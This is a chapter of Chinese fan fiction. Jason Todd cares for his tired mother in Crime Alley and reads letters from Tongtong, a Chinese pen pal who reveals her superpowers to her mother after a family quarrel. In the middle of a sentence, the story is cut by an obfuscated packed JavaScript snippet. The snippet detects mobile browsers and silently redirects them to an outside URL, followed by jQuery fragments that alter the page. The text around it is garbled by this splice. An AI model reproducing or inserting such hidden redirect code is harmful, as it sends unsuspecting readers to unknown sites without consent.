杰森把最后一只洗干净的碗倒扣在案板上，用围裙擦了擦手。厨房很小，灶台上的油渍怎么擦都擦不干净，墙角的瓷砖缺了一角，露出里面灰黑色的水泥。他把抹布拧干，搭在水龙头上，又回头看了一眼——碗筷摆好了，灶台擦过了，地上的水渍也用拖把拖了一遍。
这样母亲回来就能直接休息了。
此时，屋外传来缓慢而沉重的脚步声，踩着楼道里坑洼的地面，一步步靠近。脚步声里的疲惫，杰森再熟悉不过。他立刻停下手里的活，快步跑到门边，耳朵贴在门板上仔细听了听，确认是母亲的脚步。
是凯瑟琳，她刚下夜班回来了。
杰森立刻直起身，在钥匙转动的同时拉开了门。
凯瑟琳·陶德站在门外，脸色苍白，眼底下挂着青黑的痕迹。但看到杰森的一瞬间，她的嘴角还是弯了弯，露出一丝笑意。
“杰伊，我的宝贝。”凯瑟琳的声音沙哑，像是喉咙里含着沙砾。
“妈妈，你回来了。”杰森熟练地接过母亲手里那个破旧的帆布包，又注意到她手里捏着一封信，“这是……”
“哦，这个。”凯瑟琳把信递到杰森手里，“刚才路过信箱，顺手拿上来的。”
杰森接过信封，指尖摩挲过纸面：“谢谢妈妈。”
凯瑟琳看着他的动作，眼角的细纹里藏着笑意。
“有个笔友挺好的。”她轻声说，语气里带着一种淡淡的欣慰，“你以前总是一个人，现在有个能说话的朋友……挺好的。”
说着，她想起儿子一直用着半截铅笔、皱巴巴的旧纸写信，又轻声问道：“杰伊，你写信的纸和笔还够用吗？妈妈发了夜班的工钱，等会儿出去给你买新的本子和铅笔，好不好？”
在犯罪巷，纸笔是实打实的“奢侈品”。这里的孩子要么跟着大人混日子，要么四处捡拾废品糊口，没人会想着读书写字。杰森喜欢看书、喜欢写信，在旁人眼里是怪异又不务正业的举动，可凯瑟琳从来没有反对过。
杰森仰起头，仔细看着母亲疲惫的面容，小眉头微微皱着，满是心疼。他轻轻摇了摇头，伸手扶住母亲的胳膊，生怕她站不稳：“不用了，妈妈。纸笔还有很多，够用很久，不用买新的。”
他顿了顿，牵着母亲往屋里走，语气乖巧又关切，“你饿不饿？锅里热了汤，还有昨晚剩下的面包，我去给你热一下。”
杰森一边说着，一边就要往厨房走。
凯瑟琳摇了摇头，伸手揉了揉杰森那头乱蓬蓬的黑发：“不用了，我吃过了……我现在只想睡一会儿，哪怕只是几个小时。”
“好，那你快睡吧。”
杰森没有再多说，只是小心翼翼地扶着母亲走进卧室，帮她脱掉外套，看着母亲闭上眼睛。
他起身，从卧室里拿了一条薄毯子出来，轻轻地盖在她身上。
凯瑟琳动了动，含糊地说了句什么，但没有醒。她的呼吸渐渐平稳下来，眉头却还微微皱着，像是在睡梦中也卸不下那些沉甸甸的东西。
杰森在她身边站了一会儿。
然后他轻手轻脚地走开，缓缓带上房门。
回到客厅，杰森指尖轻轻摩挲着那封还带着些许凉意的信，心里带着淡淡的期待。他和远方的缇娜通信许久，这个来自中国的小女孩，是他灰暗生活里的一束光。每次收到她的信，都能让他暂时忘记犯罪巷的苦难，忘记生活的疲惫。
缇娜的字迹他很熟悉了——歪歪扭扭的，有些字母写得歪七扭八，但每一个都写得很认真，一笔一划都用力到能在纸背面留下凹痕。他有时候觉得，光看字迹就能想象出她趴在桌上写信的样子，眉头皱着，嘴唇抿着，好像生怕写错一个字。
他读了下去。
读到一半的时候，他的动作停了。
「杰森，既然你的爸爸又挣不到钱，又会打你的妈妈和你，那么你的妈妈当初为什么要嫁给他呢？」
杰森盯着这几行字，一动不动。
他不知道。
他们家不是那种会讲“爸爸妈妈是怎么认识的”这种故事的家庭。威利斯·陶德是一个帮派分子，把暴力当成解决问题的唯一方式。他心情好的时候对家里不闻不问，心情不好的时候拳脚相向。杰森身上的淤青曾经没有断过，一块消了另一块又添上，像是某种无声的计时方式。
最近这段时间，淤青少了。不是因为他改了，而是因为他已经很久没有回家了。
可随之而来的，是生存的重压。
家里唯一的收入来源断了，孱弱的凯瑟琳不得不出门找工作。为了多挣一点钱，她只能接夜班的工作，从天黑忙到天亮，在哥谭最危险的时段，穿梭在犯罪巷的街头。
哥谭是罪恶之都，白天的繁华假象，藏不住夜晚的獠牙。每次凯瑟琳出门上班，杰森都会整夜睡不着，坐在窗边盯着楼下的路，一分一秒地熬到清晨，直到看到母亲平安回来，悬着的心才能放下。
每一次看到母亲这般疲惫不堪的模样，看到她苍白的脸、沙哑的声音，杰森的心都像被刀割一样疼。他愤怒自己太过瘦小，肩膀太过稚嫩，连扶稳母亲都要费尽力气，更别说为母亲撑起一片天，挡住所有风雨。他什么都做不了，只能包揽所有家务，把家里收拾得井井有条，做好热乎的饭菜，用这种最笨拙的方式，减轻母亲的负担。
他还记得，自己小时候捡到一本被丢弃的旧故事书，从此迷上了读书认字。在犯罪巷的孩子眼里，这是可笑又没用的事，他们嘲笑他、欺负他，说他连饭都吃不饱还装斯文。可凯瑟琳知道后，却一直默默支持他，身体好的时候，会坐在他身边，指着书上的单词，一个一个教他拼读，温柔又耐心。
凯瑟琳总跟他说，将来像小鸟一样飞出犯罪巷，飞到没有暴力、没有饥饿、没有黑暗的地方，过上好日子。这句话，杰森刻在了心里。他最大的愿望就是快点长大，快点长高长壮，挣很多钱，带着母亲离开这个地狱般的地方，让母亲过上这样的生活……
---
与此同时，远在中国的彤彤，在把那封信投进班级小信箱的瞬间，就彻底后悔了。
只可惜信件“消失”得太快，没能让她及时撤回来。
其实彤彤从来都不是天真莽撞的性子，至少不全是。她心思细腻，敏感谨慎，能敏锐捕捉到别人的情绪变化，习惯性地避开所有可能引发冲突的话题。
可面对杰森，她却破例了。
大概是觉得两人同病相怜，都有着不完美的家庭；大概是隔着万水千山，遥远的距离给了她足够的安全感；大概是杰森每次都平静倾听，从不指责、从不嘲笑，让她放下了所有防备……
所以那些冒昧又扎心的话，才能顺理成章地落在写给杰森的纸上。
但寄出之后还是会后悔。
好在，杰森的回信并没有丝毫责备。
当彤彤忐忑不安地从信箱里拿出那封皱巴巴的回信，双手颤抖着展开时，悬了一整天的心，终于重重落了地。
杰森的笔触平静又温和，没有愤怒，没有埋怨，只有坦诚的回应：
「我不知道答案，妈妈从来没跟我说过这些，我也不会去问她。」
彤彤长长地呼出一口气，整个人瘫在椅子上，像是经历了一场大考。她赶紧拿出纸笔回信：
「杰森，对不起，我不该问那种问题。你说的对，有些事情不问比较好！对了，我跟你说……」
---
而彤彤家里，自从李阿姨来劝说妈妈外出打工后，氛围一直压抑低沉。彤彤看在眼里，急在心里，好几次想把自己的秘密告诉妈妈，可看着妈妈低落的神情，始终没找到开口的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471815|201523||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
机会。
这份压抑，在这天傍晚彻底爆发。
起因还是那个老生常谈的话题——爸爸想要一个儿子。
“你看看人家老王家，两个儿子，多有面子！”金建国坐在沙发上，翘着腿，声音很大，“再看看咱们家，就一个丫头片子，说出去都丢人！”
江宁正在厨房收拾碗筷，听到这话，手里的盘子“啪”的一声搁在灶台上：“要生你自己生。家里什么条件你不知道？多一张嘴吃什么？”
“你就是生不出儿子！”金建国的声音更大了，“生不出就是生不出，找什么借口！”
“我生不出？”江宁从厨房走出来，围裙都没解，声音压得很低，但每一个字都像是从牙缝里挤出来的，“你三天打鱼两天晒网，挣的那点钱够干什么的？你需要的不是生个儿子，而是给你生个爹才行！”
彤彤缩在角落里，抱着膝盖，把头埋进胳膊里——这是她多年练出来的本事，在最恰当的时机让自己消失。
盘子摔碎的声音。然后是摔门的声音。
彤彤等了一会儿，确定外面没动静了，才小心翼翼地打开门。
客厅里一片狼藉，江宁双手捂着脸，肩膀微微颤抖。
彤彤走过去，轻轻坐在妈妈身边，伸出手抱住了那个颤抖的身体。
“妈妈……”
江宁身体一僵，随即放下手，勉强挤出一个笑容：“彤彤，吓着你了吧？没事，妈妈没事。”
“我有用。”彤彤突然没头没脑地说了一句，声音不大，却异常坚定。
江宁愣住了：“什么？”
“我说，我有用。”彤彤抬起头，那双酷似母亲的眼睛里闪烁着一种奇异的光芒，“我不比儿子差。我有超能力，比儿子有用多了。”
江宁看着女儿，心里一阵酸楚。
“傻孩子，”江宁把彤彤搂进怀里，眼泪终于忍不住流了下来，“妈妈从来没觉得你没有用。你是妈妈最宝贝的女儿。只要你好好学习，比什么都强。”
彤彤在妈妈怀里蹭了蹭，突然挣脱出来，神情变得严肃无比。
“妈妈，我要告诉你一件事。”
她的语气太郑重了，以至于江宁都不由得收起了悲伤，疑惑地看着她。
彤彤警惕地看了看四周，起身走到门口，把房门关紧，甚至还把耳朵贴在门上听了一会儿外面的动静。
江宁被女儿郑重的模样感染，也收起情绪，坐直身子，一脸严肃地看着她：“你说，妈妈听着。”
她以为是女儿闯了什么祸，然而听着听着，她的表情变了……
江宁沉默了很久。客厅里安静得能听见墙上时钟走针的声音，一下一下的，像是有人在敲着什么。
“……妈妈。”彤彤不确定地说，“你说……我是不是变种人啊？”
“这件事，”江宁终于开口了，声音很低，很慢，像是在斟酌每一个字，“还有谁知道？”
“没有了！”彤彤连忙摇头，“只有杰森知道！”
“你那个笔友，”江宁看着她，目光锐利，“他可靠吗？会不会跟别人说？”
“不会的！”彤彤很笃定，“杰森不是那种人！”
江宁又沉默了一会儿。然后她深吸一口气，把彤彤拉到面前，双手按住她的肩膀，一字一句地说：“你听好，这件事，不能告诉任何人，谁都不能说。明白吗？”
彤彤重重地点了点头：“我记住了，谁都不说。”
那天晚上，江宁一夜未眠。
第二天一早，江宁在饭桌上宣布了一件事。
“我今天要出门一天。”江宁的声音平静得有些异常，她对着金建国说，“你今天待在家里，哪也别去，给彤彤做饭。”
又摸了摸彤彤的头：“你乖乖跟着爸爸，让爸爸照顾你。”